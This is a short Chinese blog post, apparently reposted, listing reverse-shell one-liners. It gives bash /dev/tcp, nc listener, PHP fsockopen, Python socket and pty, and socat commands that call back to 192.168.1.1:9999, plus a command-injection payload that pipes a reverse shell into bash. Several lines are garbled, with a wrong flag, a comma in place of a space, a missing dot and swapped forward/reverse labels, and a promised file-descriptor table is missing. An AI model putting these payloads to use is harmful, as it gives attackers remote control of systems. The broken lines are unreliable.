反彈 shell的幾種方式
linux檔案描述符：linux shell下有三種標準的檔案描述符，分別如下：
bash反彈 shell
靶機：
bash -I >&/dev/tcp/192.168.1.1/9999 0>&1
攻擊機：
nc -nvlp 9999
命令注入直接獲取一個shell
127.0.0.1&echo 'bash -i >&/dev/tcp/192.168.1.1,9999 0>&1' | bash
呼叫python直接獲取互動式shell
python -c 'import pty;pty.spawn("/bin/bash")'
使用php建立 socket會話：
正向連接：
php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i <&3 >&3 2>&3");'
反向連接：
php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i 0>&3 1>&3 2>&3");'
python建立socket會話
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
獲取一個 互動式的 shell
Python -c 'import pty;pty spawn("/bin/bash")'
socat建立連接
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:"192.168.1.1",9999
轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/377254.html
標籤：其他
下一篇：【求解惑】org.apache.shuffle.FetchFailedException:Failed to connect to xxx:41972